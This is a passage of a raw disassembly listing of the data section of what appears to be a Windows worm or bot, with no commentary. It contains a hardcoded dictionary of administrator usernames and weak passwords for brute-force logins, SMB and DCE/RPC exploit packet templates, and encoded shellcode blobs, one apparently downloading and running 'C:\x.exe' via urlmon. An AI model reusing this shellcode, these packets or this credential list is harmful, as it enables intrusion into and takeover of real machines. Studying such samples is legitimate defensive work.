dword_426498 ; DATA XREF: sub_416464+1Er off_423F2C dd offset dword_426498 ; DATA XREF: sub_416464+30r off_423F30 dd offset dword_426498 ; DATA XREF: sub_416464+42r off_423F34 dd offset dword_426498 ; DATA XREF: sub_416464+54r off_423F38 dd offset dword_426498 ; DATA XREF: sub_416464+66r off_423F3C dd offset dword_426498 ; DATA XREF: sub_416464+78r dd 2 dup(7F7F7F7Fh), 423F18h, 1, 2Eh, 1, 2 dup(0) off_423F60 dd offset sub_41AE5A ; DATA XREF: sub_4172FE:loc_417302r ; sub_4192DC+5w off_423F64 dd offset sub_41A556 ; DATA XREF: sub_4192DC+Aw off_423F68 dd offset sub_41A514 ; DATA XREF: sub_4192DC+14w off_423F6C dd offset sub_41A548 ; DATA XREF: sub_4192DC+1Ew off_423F70 dd offset word_41A4BE ; DATA XREF: sub_4192DC+28w off_423F74 dd offset sub_41AE5A ; DATA XREF: sub_4192DC+32w off_423F78 dd offset sub_41ADD4 ; DATA XREF: sub_4109D7+61Ar ; sub_4192DC+37w off_423F7C dd offset sub_41A4D4 ; DATA XREF: sub_412A74+5F1r ; sub_4192DC+41w off_423F80 dd offset sub_41A43E ; DATA XREF: sub_4109D7+65Fr ; sub_4192DC+4Bw off_423F84 dd offset sub_41A3CD ; DATA XREF: sub_4109D7+640r ; sub_4192DC+55w align 10h dword_423F90 dd 19930520h, 3 dup(0) ; DATA XREF: sub_418820+2o ; sub_418829+2o dword_423FA0 dd 2694h ; DATA XREF: sub_419908+3r ; sub_41995B+5Dr dd 9875h, 9873h, 0 dword_423FB0 dd 14h ; DATA XREF: sub_41986A:loc_419872r off_423FB4 dd offset aExp ; DATA XREF: sub_41986A:loc_4198E2r ; "exp" dd 1Dh, 41EC08h, 1Ah, 41EBF8h, 1Bh, 41EBFCh, 1Fh, 41FDE8h dd 13h, 41FDE0h, 21h, 41FDD8h, 0Eh, 41EBF0h, 0Dh, 41EBE8h dd 0Fh, 41EBCCh, 10h, 41FDD0h, 5, 41FDC8h, 1Eh, 41EBB0h dd 12h, 41EBACh, 20h, 41EBA8h, 0Ch, 41EBC4h, 0Bh, 41EBBCh dd 15h, 41FDC0h, 1Ch, 41EBB4h, 19h, 41FDB8h, 11h, 41FDB0h dd 18h, 41FDA8h, 16h, 41FDA0h, 17h, 41FD98h, 22h, 41FD94h dd 23h, 41FD90h, 24h, 41FD8Ch, 25h, 41FD84h, 26h, 41FD78h dbl_424098 dq 1.797693134862316e308 ; DATA XREF: sub_419634:loc_419704r ; sub_419634:loc_41970Cr dd 0 dd 0FFF80000h dbl_4240A8 dq 1.797693134862316e308 ; DATA XREF: sub_419634+89r ; sub_419634+A4r ... dd 0 dd 100000h, 0 dd 80000000h tbyte_4240C0 dt 2.3562723457267347066e313 ; DATA XREF: sub_419B98+Br ; sub_419B98+1Er align 4 tbyte_4240CC dt 1.9149954921904370718e-1233 ; DATA XREF: sub_419B98+30r align 4 dword_4240D8 dd 1 ; DATA XREF: sub_419BEE+1Cr ; sub_419BEE+4Cw byte_4240DC db 3 ; DATA XREF: sub_419CD1+1Br ; sub_419CD1:loc_419D0Fr align 10h dd 7080h, 1, 0FFFFF1F0h, 0 dword_4240F0 dd 545350h, 0Fh dup(0) ; DATA XREF: .data:00424170o dword_424130 dd 544450h, 0Fh dup(0) ; DATA XREF: .data:00424174o dd offset dword_4240F0 dd offset dword_424130 dd 0FFFFFFFFh, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd 0FFFFFFFFh, 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h dd 111h, 130h, 14Eh, 16Dh, 0FFFFFFFFh, 1Eh, 3Ah, 59h, 77h dd 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh, 14Dh, 16Ch dword_4241F8 dd 2 ; DATA XREF: sub_419FEC+13r ; sub_419FEC+4Fr ... align 10h dword_424200 dd 0FFFFFFFEh ; DATA XREF: sub_41AF5A:loc_41AF73r dword_424204 dd 0FFFFFFFEh ; DATA XREF: sub_419FEC+1Br ; sub_419FEC:loc_41A015r ... align 10h dword_424210 dd 400h ; DATA XREF: sub_41B479:loc_41B81Dr ; sub_41B479+44Dr dword_424214 dd 0FFFFFC01h ; DATA XREF: sub_41B479:loc_41B5E8r dword_424218 dd 35h ; DATA XREF: sub_41B479+78r ; sub_41B479+176r ... dword_42421C dd 0Bh ; DATA XREF: sub_41B479:loc_41B784r ; sub_41B479+3AAr ... dword_424220 dd 40h ; DATA XREF: sub_41B479+519r dword_424224 dd 3FFh ; DATA XREF: sub_41B479+452r ; sub_41B479:loc_41B8DCr dword_424228 dd 80h ; DATA XREF: sub_41B9BB:loc_41BD5Fr ; sub_41B9BB+44Dr dword_42422C dd 0FFFFFF81h ; DATA XREF: sub_41B9BB:loc_41BB2Ar dword_424230 dd 18h ; DATA XREF: sub_41B9BB+78r ; sub_41B9BB+176r ... dword_424234 dd 8 ; DATA XREF: sub_41B9BB:loc_41BCC6r ; sub_41B9BB+3AAr ... dword_424238 dd 20h ; DATA XREF: sub_41B9BB+519r dword_42423C dd 7Fh ; DATA XREF: sub_41B9BB+452r ; sub_41B9BB:loc_41BE1Er dword_424240 dd 2 dup(0) ; DATA XREF: sub_41BEFD+363o ; sub_41C5C1+18Eo dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) dd 400FC350h, 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_4243A0 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_41BEFD+37Ao ; sub_41C5C1+1B3o dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh, 0 dd 2 dup(offset aBadAllocation) ; "bad allocation" dword_424508 dd 4E44h ; DATA XREF: .text:00409E4Eo ; .text:00409E6Dr ... dd 7 dup(0) dword_424528 dd 87h ; DATA XREF: .text:0040A16Br ; .text:0040A3CDr ... dword_42452C dd 0 ; DATA XREF: sub_408CC5+3ABr ; .text:0040926Ar ... off_424530 dd offset sub_408CC5 ; DATA XREF: sub_40A506+227r ; sub_40A506+330r ... dd 4Eh, 7 dup(0) dd 8Bh, 0 dd 409288h, 4Dh, 7 dup(0) dd 599h, 0 dd 40909Ch, 53h, 7 dup(0) dd 0B97h, 0 dd offset sub_409CC8, 0Bh dup(0) dd offset aBadAllocation ; "bad allocation" dword_4245E8 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_4099FF+1A8o dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 0 dword_424610 dd 6EB4141h, 501E100Dh, 6D6Dh, 41FEA0h ; DATA XREF: sub_4099FF+264o dword_424620 dd 5C0D0A00h, 2E2F5Fh ; DATA XREF: .text:004096DAo dword_424628 dd 0EFFFC481h, 44FFFFh, 4213FCh ; DATA XREF: .text:004095C5o dword_424634 dd 42Ah ; DATA XREF: .text:00409562r dword_424638 dd 3E8h ; DATA XREF: .text:00409724r dword_42463C dd 258h ; DATA XREF: .text:004095B7r dd 4213F8h, 2C6h, 264h, 0 dword_424650 dd 20804h ; DATA XREF: .text:0040974Co ; .text:0040978Do ... dd offset aBadAllocation ; "bad allocation" off_424658 dd offset byte_4202A1 ; DATA XREF: .text:0040916Cr ; .text:0040917Ao dd offset aAdministrator, offset aAdministrador, offset aAdministrateur ; "staff" dd offset aAdministrat, offset aAdmins, offset aAdmin dd offset aAdm, offset aPassword1, offset aPassword, offset aPasswd dd offset aPass1234, offset aPass, offset aPwd, offset a007 dd offset a1, offset a12, offset a123, offset a1234, offset a12345 dd offset a123456, offset a1234567, offset a12345678, offset a123456789 dd offset a1234567890, offset a2000, offset a2001, offset a2002 dd offset a2003, offset a2004, offset aTest, offset aGuest dd offset aNone, offset aDemo, offset aUnix, offset aLinux dd offset aChangeme, offset aDefault, offset aSystem_0 dd offset aServer, offset aRoot, offset aNull_1, offset aQwerty dd offset aMail, offset aOutlook, offset aWeb, offset aWww dd offset aInternet, offset aAccounts, offset aAccounting dd offset aHome, offset aHomeuser, offset aUser, offset aOem dd offset aOemuser, offset aOeminstall, offset aWindows dd offset aWin98, offset aWin2k, offset aWinxp, offset aWinnt dd offset aWin2000, offset aQaz, offset aAsd, offset aZxc dd offset aQwe, offset aBob, offset aJen, offset aJoe dd offset aFred, offset aBill, offset aMike, offset aJohn dd offset aPeter, offset aLuke, offset aSam, offset aSue dd offset aSusan, offset aPeter, offset aBrian, offset aLee dd offset aNeil, offset aIan, offset aChris, offset aEric dd offset aGeorge, offset aKate, offset aBob, offset aKatie dd offset aMary, offset aLogin, offset aLoginpass, offset aTechnical dd offset aBackup, offset aExchange, offset aFuck, offset aBitch dd offset aSlut, offset aSex, offset aGod, offset aHell dd offset aHello, offset aDomain, offset aDomainpass, offset aDomainpassword dd offset aDatabase, offset aAccess, offset aDbpass, offset aDbpassword dd offset aDatabasepass, offset aData, offset aDatabasepasswo dd offset aDb1, offset aDb2, offset aDb1234, offset aSa dd offset aSql, offset aSqlpassoainsta, offset aOrainstall dd offset aOracle, offset aIbm, offset aCisco, offset aDell dd offset aCompaq, offset aSiemens, offset aHp, offset aNokia dd offset aXp_0, offset aControl, offset aOffice, offset aBlank dd offset aWinpass, offset aMain, offset aLan, offset aInternet dd offset aIntranet, offset aStudent, offset aTeacher dd offset aStaff, 0 dd offset aBadAllocation ; "bad allocation" dword_42488C dd 0C0B80041h, 1570040h, 0 ; DATA XREF: sub_408CC5+335o dd 1570000h, 0 dword_4248A0 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_408CC5+18Fo dd 1, 10000h, 50ABC2A4h, 40B3574Dh, 4FEE669Dh, 76A0FBD5h dd 5, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0) dword_4248F0 dd 83000005h, 10h, 67Fh, 1, 657h, 10000h, 50ABC2A4h, 40B3574Dh ; DATA XREF: sub_408CC5+2E2o dd 4FEE669Dh, 76A0FBD5h, 40C210h, 2, 0 dd 2, 44h, 13FA94h, 4CCh, 0 dd 4CCh, 0 dword_424940 dd 0Eh dup(425C425Ch), 0FF5C425Ch, 0E25Ch ; DATA XREF: sub_408CC5+31Eo aLSW db '\)\L\á\w',0 ; DATA XREF: sub_408CC5+300o a8W db '\8\',7,'\Ò\w',0 ; DATA XREF: sub_408CC5:loc_408FCCo align 4 dd 5 dup(offset aBadAllocation) ; "bad allocation" dword_4249A8 dd 22B1C933h, 74D9EED9h, 805BF424h, 8000146Bh, 8300156Bh ; DATA XREF: sub_407D75+6Eo dd 0F3E2FEEBh, 0 dword_4249C4 dd 22B1C933h, 74D9EED9h, 805BF424h, 80001473h, 83001573h ; DATA XREF: sub_407D75+169o dd 0F3E2FEEBh, 0 dword_4249E0 dd 758B54EBh, 35748B3Ch, 56F50378h, 320768Bh, 49C933F5h ; DATA XREF: sub_407D18+2Co dd 0DB33AD41h, 14BE0F36h, 74F23828h, 0DCBC108h, 0EB40DA03h dd 75DF3BEFh, 5E8B5EE7h, 66DD0324h, 8B4B0C8Bh, 0DD031C5Eh dd 38B048Bh, 7275C3C5h, 6E6F6D6Ch, 6C6C642Eh, 5C3A4300h dd 78652E78h, 0C0330065h, 30400364h, 408B0C78h, 1C708B0Ch dd 8408BADh, 408B09EBh, 7C408D34h, 953C408Bh, 0E4E8EBFh dd 0FF84E8ECh, 0EC83FFFFh, 242C8304h, 95D0FF3Ch, 1A36BF50h dd 6FE8702Fh, 8BFFFFFFh, 8DFC2454h, 0DB33BA52h, 0EB525353h dd 0D0FF5324h, 0FE98BF5Dh, 53E80E8Ah, 83FFFFFFh, 2C8304ECh dd 0D0FF6224h, 0E0CEEFBFh, 0FF40E860h, 0FF52FFFFh, 0FFD7E8D0h dd 0FFFFh, 0 dd 0FF000000h, 0FFFF0000h, 0FFFFFF00h, 80000000h, 800000h dd 8000h, 80h, 41FEA0h dword_424AD0 dd 0 ; DATA XREF: sub_407BA0+6Er dword_424AD4 dd 0 ; DATA XREF: sub_407BA0+75r dd 0 dd 0FF000000h, 0 dd 0FFFF0000h, 0 dd 0FFFFFF00h, 0 dd 0FFFFFFFFh, 0FF000000h, 0FFFFFFFFh, 0FFFF0000h, 0FFFFFFFFh dd 0FFFFFF00h, 0FFFFFFFFh dword_424B10 dd 0 ; DATA XREF: sub_407BA0+8Br dword_424B14 dd 80000000h ; DATA XREF: sub_407BA0+91r dd 0 dd 800000h, 0 dd 8000h, 0 dd 80h, 80000000h, 0 dd 800000h, 0 dd 8000h, 0 dd 80h, 0 dd 2 dup(41FEA0h), 0FDE6BCEAh, 0FCFDFDFDh, 0F1BCF6F7h dd 0FFFDh, 3Ch dup(0) dword_424C58 dd 40h dup(0) ; DATA XREF: sub_4049E1+430o dd 0AAA71F90h, 0BCA2A0BCh, 0BCAAA2A3h, 0A1A1A0h, 7Ch dup(0) dd 1F900000h, 41FEA0h aOxrihybuygfrdg db 'oxrIHYbuYGFrDgAT',0 ; DATA XREF: sub_401ACE:loc_401AF3o ; sub_401ACE+3Ar align 4 dd 1Bh dup(0) asc_424FE0 db '±±ÆÀÔÙ',0 ; DATA XREF: sub_401000+36Bo ; sub_403249+3DBo ... align 4 dd 4 dup(0) dword_424FF8 dd 0E1F4F5A7h, 0E6A4F6F4h, 0FAF6F4F5h, 0F4F5h, 2 dup(0) ; DATA XREF: sub_403F55+2BAo ; sub_403F55+3B6o byte_425010 db 2Eh ; DATA XREF: sub_4046BC+C6r byte_425011 db 0BFh, 0EAh, 0 ; DATA XREF: sub_403F55+3CCo dd 0Dh dup(0) db 0 byte_425049 db 0B8h, 0D2h, 0EAh ; DATA XREF: sub_403F55+65Bo dd 0BCE6F7FCh, 0EAh, 0Dh dup(0) db 0 byte_425089 db 0FEh, 0E6h, 0F1h ; DATA XREF: sub_40312D+3Eo ; sub_4049E1+E1o ... dd 0BCFBE1FBh, 0F7EAF7h, 5 dup(0) db 0 asc_4250A9 db 'ÞÆÑÛÁÛ',0 ; DATA XREF: sub_4049E1+2C7o dd 6 dup(0) db 0 asc_4250C9 db 'ÞÆÑÛÁÛ',0 ; DATA XREF: sub_402833+12Eo ; sub_404E7F+A3o ... dd 1Fh dup(0) dword_42514C dd 8 ; DATA XREF: sub_404844+135r ; sub_404844+16Ar db 2 dup(0) byte_425152 db 1 ; DATA XREF: .text:00408752r align 4 dd 41FEA0h, 0D7AAA2A7h, 0A7ABA6D6h, 0A4AAD6A4h, 0ABD4A4A2h dd 0D4A5A6D3h, 0A4A1A5D7h, 0D0A7A5A3h, 0A0D1D6D7h, 0AAA1A6D6h dd 0A0A0A1A0h, 0A5A1A0A7h, 0A4ABD3D7h, 0D4A7D4D4h, 0D4D1D3D4h dd 0D7AAAAD0h, 0A7D4A7D1h, 0D6D4ABD3h, 0D4D6A6ABh, 0D6A6A4A3h dd 0D1D3D4A2h, 0A0A0D3D3h, 0D0A5A4D6h, 0A6D3A3D3h, 0A3D3D0D0h dd 0A4A6D3D0h, 0A6A1A7ABh, 0A0D7D7A3h, 0D3A7D1A1h, 0ABD4D0A1h dd 0D7A7A7D3h, 0AAD3AAA2h, 0A4D7AAh, 70h dup(0) aLzLGjEkaaLBKLJ db 'ÖÑ«§Ð«Ó£¦ÐÔ¥ª ×Ð׫×Сת׫ÔѦס×Ц¤ªÔª¥§¤¦¤¢«£ÑЧ¦ ×£¤Ñ¡ª¤¦×ª Ы' ; DATA XREF: .text:0040873Fo db '¦§¦Ô¤×«£¡ ÓЪ ÓÖ¥¦££¢£¤Ó§¥¦ª « ¥ × ÑÑѧ¡ÑѤ¤§Ñ¡Ð£Óª¤¦§¢ ¦¦¡',0 align 4 dd 10h dup(0) asc_425458 db 'ÜÛÑÙ',0 ; DATA XREF: sub_4038C8+27o ; sub_40393C+2C4o align 10h db 0 asc_425461 db 'ÂÓÁÁ',0 ; DATA XREF: sub_40393C+1BEo align 4 db 2 dup(0) asc_42546A db 'ÇÁ×À',0 ; DATA XREF: sub_40393C+2D4o align 10h db 3 dup(0) asc_425473 db 'ÂÛÜÕ',0 ; DATA XREF: sub_403F55+1CBo dd 0 asc_42547C db 'ÂÝÜÕ',0 ; DATA XREF: sub_403F55+211o align 4 db 0 asc_425485 db 'ÙÛÑÙ',0 ; DATA XREF: sub_403F55+1DBo align 4 db 2 dup(0) asc_42548E db 'ØÝÛÜ',0 ; DATA XREF: sub_403F55+2A7o ; sub_403F55+37Co align 4 db 3 dup(0) asc_425497 db 'ßÝÖ×',0 ; DATA XREF: sub_403F55+38Co align 10h asc_4254A0 db 'ÂÀÛÄßÁÕ',0 ; DATA XREF: sub_403DB4+9Bo ; sub_403F55+1EBo align 10h dword_4254B0 dd 0E2E6E6FAh, 0FEBDBDA8h, 0E1FBF1E6h, 0FDF1BCFBh, 0E6FEBDFFh ; DATA XREF: sub_408CC5+1E1o ; .text:00409645o ... dd 0FBE1FBF1h, 0F7EAF7BCh, 0 dword_4254D0 dd 5348h, 3 dup(41FEA0h) ; DATA XREF: sub_40300B+20o ; sub_40300B+8Eo dword_4254E0 dd 2F000000h, 424D53FFh, 72h, 4 dup(0) ; DATA XREF: sub_4023EB+ECo dd 25C0000h, 0 dd 2000C00h, 4C20544Eh, 2E30204Dh, 3231h, 41FEA0h unk_425518 db 81h ; ; DATA XREF: sub_4023EB+B5o db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aEkedfeeiedcaca db ' EKEDFEEIEDCACACACACACACACACACAAA',0 dd 2 dup(0) dword_425568 dd 48000000h, 424D53FFh, 73h, 4 dup(0) ; DATA XREF: sub_4023EB+123o dd 25C0000h, 0 dd 0FF0Dh, 2FFFF00h, 25C00h, 2 dup(0) dd 1000000h, 0B000000h, 4A000000h, 54410043h, 434854h dd 0 dd 4 dup(offset aBadAllocation) ; "bad allocation" dword_4255C8 dd 80000002h, 80000001h ; DATA XREF: sub_40140A+71o dword_4255D0 dd 0CA975201h, 0A811D059h, 0D5h, 1Dh dup(0) ; DATA XREF: sub_4018DF+53o dd 9, 0C5C1371Dh, 6379AB46h, 8Fh, 1Dh dup(0) dd 9, 364C033h, 0C783040h, 8Bh, 1Dh dup(0) dd 9, 7D8AAFA8h, 0F4BE11C9h, 8, 1Dh dup(0) dd 9, 9F499642h, 0F537FD4Ah, 0D6h, 1Dh dup(0) dd 9, 4A5A10EBh, 0B966C933h, 7Dh, 1Dh dup(0) dd 9, 123485E9h, 411291D9h, 12h, 1Dh dup(0) dd 9, 8B64DB33h, 408B3043h, 0Ch, 1Dh dup(0) dd 9, 5EB02EBh, 0FFFFF9E8h, 0FFh, 1Dh dup(0) dd 9, 41FEA0h off_425A78 dd offset nullsub_292, 0 ; DATA XREF: r69pu5ti:00421F00o a_?avlength_err db '.?AVlength_error@std@@',0 align 4 aUa db '|ãA',0 ; DATA XREF: r69pu5ti:00421F1Co align 10h a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 aUa_0 db '|ãA',0 ; DATA XREF: r69pu5ti:00421F38o align 10h a_?avexception@ db '.?AVexception@std@@',0 aUa_1 db '|ãA',0 ; DATA XREF: r69pu5ti:00421F74o dd 0 a_?avbad_alloc@ db '.?AVbad_alloc@std@@',0 dd 4 dup(0) dword_425B00 dd 0 ; DATA XREF: sub_40CA02+4w ; sub_40CB08+3r dword_425B04 dd 0 ; DATA XREF: .text:0040CC45o ; .text:loc_41D892w ... align 10h dword_425B10 dd 0 ; DATA XREF: .text:loc_40CC3Er ; .text:0040CC4Cw dword_425B14 dd 0 ; DATA XREF: .text:0040E0EFw ; sub_414943:loc_414955r ... dd 0 dword_425B1C dd 0 ; DATA XREF: sub_40DF6Dr ; sub_419292+15r ... dword_425B20 dd 0 ; DATA XREF: sub_40E68F+8Fw dword_425B24 dd 0 ; DATA XREF: sub_40E68F+99w dd 0 dword_425B2C dd 0 ; DATA XREF: sub_40E68F+8Aw dd 10h dup(0) dword_425B70 dd 0 ; DATA XREF: sub_40E68F+BFw ; sub_40E68F+DFr align 8 dword_425B78 dd 0 ; DATA XREF: sub_40E68F+7Bw dd 22h dup(0) word_425C04 dw 0 ; DATA XREF: sub_40E68F+4Fw align 4 word_425C08 dw 0 ; DATA XREF: sub_40E68F+48w align 4 word_425C0C dw 0 ; DATA XREF: sub_40E68F+41w align 10h word_425C10 dw 0 ; DATA XREF: sub_40E68F+3Aw align 4 dword_425C14 dd 0 ; DATA XREF: sub_40E68F+26w dword_425C18 dd 0 ; DATA XREF: sub_40E68F+20w dword_425C1C dd 0 ; DATA XREF: sub_40E68F+1Aw dword_425C20 dd 0 ; DATA XREF: sub_40E68F+14w dword_425C24 dd 0 ; DATA XREF: sub_40E68F+Ew dword_425C28 dd 0 ; DATA XREF: sub_40E68F+9w dword_425C2C dd 0 ; DATA XREF: sub_40E68F+60w dword_425C30 dd 0 ; DATA XREF: sub_40E68F+68w ; sub_40E68F+85r word_425C34 dw 0 ; DATA XREF: sub_40E68F+33w align 4 dword_425C38 dd 0 ; DATA XREF: sub_40E68F+57w dword_425C3C dd 0 ; DATA XREF: sub_40E68F+70w word_425C40 dw 0 ; DATA XREF: sub_40E68F+2Cw align 4 dd 80h dup(0) dword_425E44 dd 0 ; DATA XREF: sub_40EA45+15w ; sub_40EA45+1Dw ... word_425E48 dw 0 ; DATA XREF: sub_40EC6A+E7w align 4 dd 2 dup(0) dword_425E54 dd 4E4h ; DATA XREF: sub_40EC6A+C3w dword_425E58 dd 0 ; DATA XREF: sub_40EC6A+CBw dword_425E5C dd 0 ; DATA XREF: sub_40EC6A+D3w dword_425E60 dd 0 ; DATA XREF: sub_40ACE3+6r ; sub_40AE23+6r ... dd 8 dup(0) off_425E84 dd offset sub_40F1F7 ; DATA XREF: sub_40F4D7+30w ; sub_40F4D7+51r ... off_425E88 dd offset sub_437BAD ; DATA XREF: sub_40F200+10r ; sub_40F4D7+3Dw ... off_425E8C dd offset sub_444F8B ; DATA XREF: sub_40F31B+44r ; sub_40F4D7+4Aw ... off_425E90 dd offset sub_43EF8B ; DATA XREF: sub_40F22A+Br ; sub_40F4D7+5Ew ... align 8 dword_425E98 dd 15B230h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_40F881+4o ; .data:off_423800o dword_425EB0 dd 15B258h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:00423808o dword_425EC8 dd 15B280h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:00423818o dd 15B2A8h, 0FFFFFFFFh, 4 dup(0) dword_425EF8 dd 15B2D0h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:00423830o dd 15B2F8h, 0FFFFFFFFh, 4 dup(0) dd 15B320h, 0FFFFFFFFh, 4 dup(0) dword_425F40 dd 15B348h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:00423850o dword_425F58 dd 15B370h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:00423860o dd 15B398h, 0FFFFFFFFh, 4 dup(0) dd 15B3C0h, 0FFFFFFFFh, 4 dup(0) dword_425FA0 dd 15B3E8h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:00423880o dd 15B4F0h, 0FFFFFFFFh, 4 dup(0) dd 15B518h, 0FFFFFFFFh, 4 dup(0) dword_425FE8 dd 9F0000h ; DATA XREF: sub_40C58B+7Cr ; sub_40D35A+62r ... dword_425FEC dd 0 ; DATA XREF: sub_40FADD+21w ; sub_40FB50+21Cr ... dword_425FF0 dd 0 ; DATA XREF: sub_41183A+14r ; sub_41183A+29r ... dword_425FF4 dd 0 ; DATA XREF: sub_417C3F+19Er dword_425FF8 dd 2 ; DATA XREF: .text:0040E07Aw ; sub_411A06:loc_411A2Er ... dword_425FFC dd 0A28h ; DATA XREF: .text:0040E091w dword_426000 dd 501h ; DATA XREF: .text:0040E080w dword_426004 dd 5 ; DATA XREF: .text:0040E085w ; sub_411A3D+30r dword_426008 dd 1 ; DATA XREF: .text:0040E08Bw dword_42600C dd 1 ; DATA XREF: sub_414BB6+A2w dword_426010 dd 9F2BA8h ; DATA XREF: sub_414BB6+A7w align 8 dword_426018 dd 9F2BC8h ; DATA XREF: sub_414943+4Bw ; sub_414943:loc_414A08r ... dd 3 dup(0) off_426028 dd offset aCM_unpackerPac ; DATA XREF: sub_414BB6+37w ; "C:\\m_unpacker\\packed.exe" align 10h byte_426030 db 0 ; DATA XREF: sub_411B0B+2Cw ; sub_411DC0+5r align 4 dword_426034 dd 1 ; DATA XREF: sub_411B0B+23w dword_426038 dd 1 ; DATA XREF: sub_411B0B+1Br ; sub_411B0B+A0w dword_42603C dd 0 ; DATA XREF: sub_411C6D+27o dword_426040 dd 0 ; DATA XREF: sub_411C6D+22r dword_426044 dd 0 ; DATA XREF: sub_411CDD+4w sub_411CE7r dword_426048 dd 0 ; DATA XREF: sub_411E84+280w ; sub_41239F:loc_4123D5w ... dd 3 dup(0) dword_426058 dd 6 dup(0) ; DATA XREF: sub_4136C1+66o db 0 byte_426071 db 3 dup(0) ; DATA XREF: sub_4136C1+8Ao dd 40h dup(0) db 0 byte_426175 db 0 ; DATA XREF: sub_4136C1+92w align 4 dd 7Dh dup(0) dword_42636C dd 0 ; DATA XREF: sub_40D437+80r ; sub_4136C1+E3o ... dword_426370 dd 0 ; DATA XREF: sub_4143F6+8r align 8 aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_414BB6+1Do ; .data:off_426028o align 4 dd 3Ah dup(0) byte_42647C db 0 ; DATA XREF: sub_414BB6+24w align 10h dword_426480 dd 1 ; DATA XREF: sub_414C6F+2r ; sub_414C6F+24w ... dword_426484 dd 77C26E79h ; DATA XREF: sub_414E80+43r ; sub_414EEC+11w ... byte_426488 db 0 ; DATA XREF: sub_414E80:loc_414EB9r ; sub_414EEC+17w ... align 4 off_42648C dd offset sub_415BBB ; DATA XREF: sub_415C07+Cr ; sub_415C3E+Bw dword_426490 dd 1 ; DATA XREF: sub_415CB7+14r ; sub_415CB7+3Aw ... dword_426494 dd 1 ; DATA XREF: sub_41609C+Fr ; sub_41609C+37w ... dword_426498 dd 0 ; DATA XREF: .data:off_423F1Co ; .data:off_423F20o ... dword_42649C dd 77E7C706h ; DATA XREF: sub_41685A+4w ; sub_416874+11r ... dword_4264A0 dd 0 ; DATA XREF: sub_41731D+Ar dword_4264A4 dd 0 ; DATA XREF: sub_417982+4w ; sub_4179DC:loc_417A25o ... dword_4264A8 dd 0 ; DATA XREF: sub_417982+9w ; sub_4179DC:loc_417A7Bo ... dword_4264AC dd 0 ; DATA XREF: sub_417982+Ew sub_4179CFr ... dword_4264B0 dd 0 ; DATA XREF: sub_417982+13w ; sub_4179DC:loc_417A87o ... align 8 dword_4264B8 dd 0 ; DATA XREF: sub_417B8C+4w dd 2 dup(0) dword_4264C4 dd 0 ; DATA XREF: sub_417B96+4w dd 0Fh dup(0) dword_426504 dd 0 ; DATA XREF: 